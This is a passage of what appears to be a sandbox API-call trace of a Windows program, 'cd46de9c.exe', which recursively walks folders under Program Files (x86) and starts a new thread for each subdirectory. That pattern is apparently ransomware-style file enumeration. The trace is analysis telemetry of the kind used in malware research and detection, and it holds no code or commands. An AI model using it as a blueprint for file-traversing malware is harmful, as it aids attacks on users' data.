ftLastAccessTime.dwLowDateTime=0x92975e80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x81a1d100, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cd46de9c.exe", cAlternateFileName="")) returned 1 [0045.690] wcscmp (_String1="cd46de9c.exe", _String2=".") returned 1 [0045.690] wcscmp (_String1="cd46de9c.exe", _String2="..") returned 1 [0045.690] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92975e80, ftCreationTime.dwHighDateTime=0x1d5945e, ftLastAccessTime.dwLowDateTime=0x92975e80, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x81a1d100, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x16e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="cd46de9c.exe", cAlternateFileName="")) returned 0 [0045.690] FindClose (in: hFindFile=0x409a68 | out: hFindFile=0x409a68) returned 1 [0045.690] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.690] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444c30) returned 1 [0045.690] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4024e0) returned 1 Thread: id = 80 os_tid = 0xb40 [0045.691] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x413cd8 [0045.691] wcscpy (in: _Dest=0x413cd8, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0045.691] wcscat (in: _Dest=0x413cd8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\" [0045.691] wcscat (in: _Dest=0x413cd8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\*") returned="C:\\Program Files (x86)\\Common Files\\*" [0045.691] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.691] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbdc44680, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbdc44680, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409a68 [0045.691] wcscmp (_String1=".", _String2=".") returned 0 [0045.691] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbdc44680, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0xbdc44680, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.692] wcscmp (_String1="..", _String2=".") returned 1 [0045.692] wcscmp (_String1="..", _String2="..") returned 0 [0045.692] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0045.692] wcscmp (_String1="Adobe", _String2=".") returned 1 [0045.692] wcscmp (_String1="Adobe", _String2="..") returned 1 [0045.692] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x449da8 [0045.692] wcscpy (in: _Dest=0x449da8, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0045.692] wcscat (in: _Dest=0x449da8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\" [0045.692] wcscat (in: _Dest=0x449da8, _Source="Adobe" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe") returned="C:\\Program Files (x86)\\Common Files\\Adobe" [0045.692] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x449da8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ac [0045.693] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x801d42c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x801d42c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0045.693] wcscmp (_String1="Java", _String2=".") returned 1 [0045.693] wcscmp (_String1="Java", _String2="..") returned 1 [0045.693] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x52) returned 0x449e08 [0045.693] wcscpy (in: _Dest=0x449e08, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0045.693] wcscat (in: _Dest=0x449e08, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\" [0045.693] wcscat (in: _Dest=0x449e08, _Source="Java" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java") returned="C:\\Program Files (x86)\\Common Files\\Java" [0045.693] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x449e08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b0 [0045.694] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xec355540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xec355540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1 [0045.694] wcscmp (_String1="microsoft shared", _String2=".") returned 1 [0045.694] wcscmp (_String1="microsoft shared", _String2="..") returned 1 [0045.694] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x4187d0 [0045.694] wcscpy (in: _Dest=0x4187d0, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0045.694] wcscat (in: _Dest=0x4187d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\" [0045.694] wcscat (in: _Dest=0x4187d0, _Source="microsoft shared" | out: _Dest="C:\\Program Files (x86)\\Common Files\\microsoft shared") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared" [0045.694] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4187d0) returned 1 [0045.694] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0045.694] wcscmp (_String1="Services", _String2=".") returned 1 [0045.694] wcscmp (_String1="Services", _String2="..") returned 1 [0045.694] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x5a) returned 0x449e68 [0045.694] wcscpy (in: _Dest=0x449e68, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0045.694] wcscat (in: _Dest=0x449e68, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\" [0045.694] wcscat (in: _Dest=0x449e68, _Source="Services" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Services") returned="C:\\Program Files (x86)\\Common Files\\Services" [0045.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x449e68, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b4 [0045.695] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0045.695] wcscmp (_String1="SpeechEngines", _String2=".") returned 1 [0045.695] wcscmp (_String1="SpeechEngines", _String2="..") returned 1 [0045.695] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x64) returned 0x420cb8 [0045.695] wcscpy (in: _Dest=0x420cb8, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0045.695] wcscat (in: _Dest=0x420cb8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\" [0045.695] wcscat (in: _Dest=0x420cb8, _Source="SpeechEngines" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines" [0045.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x420cb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2b8 [0045.697] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0045.697] wcscmp (_String1="System", _String2=".") returned 1 [0045.697] wcscmp (_String1="System", _String2="..") returned 1 [0045.697] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x449ed0 [0045.697] wcscpy (in: _Dest=0x449ed0, _Source="C:\\Program Files (x86)\\Common Files" | out: _Dest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0045.697] wcscat (in: _Dest=0x449ed0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\") returned="C:\\Program Files (x86)\\Common Files\\" [0045.697] wcscat (in: _Dest=0x449ed0, _Source="System" | out: _Dest="C:\\Program Files (x86)\\Common Files\\System") returned="C:\\Program Files (x86)\\Common Files\\System" [0045.697] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x449ed0) returned 1 [0045.697] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9c11cf80, ftLastAccessTime.dwHighDateTime=0x1d301bd, ftLastWriteTime.dwLowDateTime=0x9c11cf80, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0045.697] FindClose (in: hFindFile=0x409a68 | out: hFindFile=0x409a68) returned 1 [0045.697] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.697] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413cd8) returned 1 [0045.697] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444b90) returned 1 Thread: id = 81 os_tid = 0xb44 [0045.702] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4024e0 [0045.703] wcscpy (in: _Dest=0x4024e0, _Source="C:\\Program Files (x86)\\Google" | out: _Dest="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google" [0045.703] wcscat (in: _Dest=0x4024e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\") returned="C:\\Program Files (x86)\\Google\\" [0045.703] wcscat (in: _Dest=0x4024e0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Google\\*") returned="C:\\Program Files (x86)\\Google\\*" [0045.703] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.703] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Google\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa547efa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa547efa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409a68 [0045.703] wcscmp (_String1=".", _String2=".") returned 0 [0045.703] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xa547efa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xa547efa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.703] wcscmp (_String1="..", _String2=".") returned 1 [0045.703] wcscmp (_String1="..", _String2="..") returned 0 [0045.703] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7aa9d740, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7e0ead20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7e0ead20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1 [0045.703] wcscmp (_String1="Chrome", _String2=".") returned 1 [0045.703] wcscmp (_String1="Chrome", _String2="..") returned 1 [0045.703] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x413cd8 [0045.703] wcscpy (in: _Dest=0x413cd8, _Source="C:\\Program Files (x86)\\Google" | out: _Dest="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google" [0045.703] wcscat (in: _Dest=0x413cd8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\") returned="C:\\Program Files (x86)\\Google\\" [0045.703] wcscat (in: _Dest=0x413cd8, _Source="Chrome" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome") returned="C:\\Program Files (x86)\\Google\\Chrome" [0045.704] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x413cd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2bc [0045.704] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1 [0045.704] wcscmp (_String1="CrashReports", _String2=".") returned 1 [0045.704] wcscmp (_String1="CrashReports", _String2="..") returned 1 [0045.704] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x449ed0 [0045.704] wcscpy (in: _Dest=0x449ed0, _Source="C:\\Program Files (x86)\\Google" | out: _Dest="C:\\Program Files (x86)\\Google") returned="C:\\Program Files (x86)\\Google" [0045.704] wcscat (in: _Dest=0x449ed0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Google\\") returned="C:\\Program Files (x86)\\Google\\" [0045.705] wcscat (in: _Dest=0x449ed0, _Source="CrashReports" | out: _Dest="C:\\Program Files (x86)\\Google\\CrashReports") returned="C:\\Program Files (x86)\\Google\\CrashReports" [0045.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x449ed0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c0 [0045.705] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c82ea80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6c82ea80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6c82ea80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 0 [0045.706] FindClose (in: hFindFile=0x409a68 | out: hFindFile=0x409a68) returned 1 [0045.706] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.706] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4024e0) returned 1 [0045.706] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402528) returned 1 Thread: id = 82 os_tid = 0xb48 [0045.706] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3c) returned 0x402528 [0045.707] wcscpy (in: _Dest=0x402528, _Source="C:\\Program Files (x86)\\Java" | out: _Dest="C:\\Program Files (x86)\\Java") returned="C:\\Program Files (x86)\\Java" [0045.707] wcscat (in: _Dest=0x402528, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\") returned="C:\\Program Files (x86)\\Java\\" [0045.707] wcscat (in: _Dest=0x402528, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\*") returned="C:\\Program Files (x86)\\Java\\*" [0045.707] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.707] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x734f7d60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x734f7d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409a68 [0045.707] wcscmp (_String1=".", _String2=".") returned 0 [0045.707] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x734f7d60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x734f7d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.707] wcscmp (_String1="..", _String2=".") returned 1 [0045.707] wcscmp (_String1="..", _String2="..") returned 0 [0045.707] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre7", cAlternateFileName="")) returned 1 [0045.707] wcscmp (_String1="jre7", _String2=".") returned 1 [0045.707] wcscmp (_String1="jre7", _String2="..") returned 1 [0045.707] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x42) returned 0x444b90 [0045.707] wcscpy (in: _Dest=0x444b90, _Source="C:\\Program Files (x86)\\Java" | out: _Dest="C:\\Program Files (x86)\\Java") returned="C:\\Program Files (x86)\\Java" [0045.707] wcscat (in: _Dest=0x444b90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\") returned="C:\\Program Files (x86)\\Java\\" [0045.707] wcscat (in: _Dest=0x444b90, _Source="jre7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7") returned="C:\\Program Files (x86)\\Java\\jre7" [0045.707] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444b90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c4 [0045.708] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7577bc60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7577bc60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre7", cAlternateFileName="")) returned 0 [0045.708] FindClose (in: hFindFile=0x409a68 | out: hFindFile=0x409a68) returned 1 [0045.708] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445968) returned 1 [0045.708] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402528) returned 1 [0045.708] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409b28) returned 1 Thread: id = 83 os_tid = 0xb4c [0045.713] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6a) returned 0x4187d0 [0045.713] wcscpy (in: _Dest=0x4187d0, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services") returned="C:\\Program Files (x86)\\Microsoft Analysis Services" [0045.713] wcscat (in: _Dest=0x4187d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\" [0045.713] wcscat (in: _Dest=0x4187d0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\*") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\*" [0045.713] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x445968 [0045.713] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\*", lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d19e20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d19e20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409b28 [0045.714] wcscmp (_String1=".", _String2=".") returned 0 [0045.714] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x87d19e20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x87d19e20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.714] wcscmp (_String1="..", _String2=".") returned 1 [0045.714] wcscmp (_String1="..", _String2="..") returned 0 [0045.714] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1ae930, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1ae930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0045.714] wcscmp (_String1="AS OLEDB", _String2=".") returned 1 [0045.714] wcscmp (_String1="AS OLEDB", _String2="..") returned 1 [0045.714] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x3ffd98 [0045.714] wcscpy (in: _Dest=0x3ffd98, _Source="C:\\Program Files (x86)\\Microsoft Analysis Services" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services") returned="C:\\Program Files (x86)\\Microsoft Analysis Services" [0045.714] wcscat (in: _Dest=0x3ffd98, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\" [0045.714] wcscat (in: _Dest=0x3ffd98, _Source="AS OLEDB" | out: _Dest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB" [0045.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x3ffd98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8 [0045.715] FindNextFileW (in: hFindFile=0x409b28, lpFindFileData=0x445968 | out: lpFindFileData=0x445968*(dwFileAttributes=0x20, 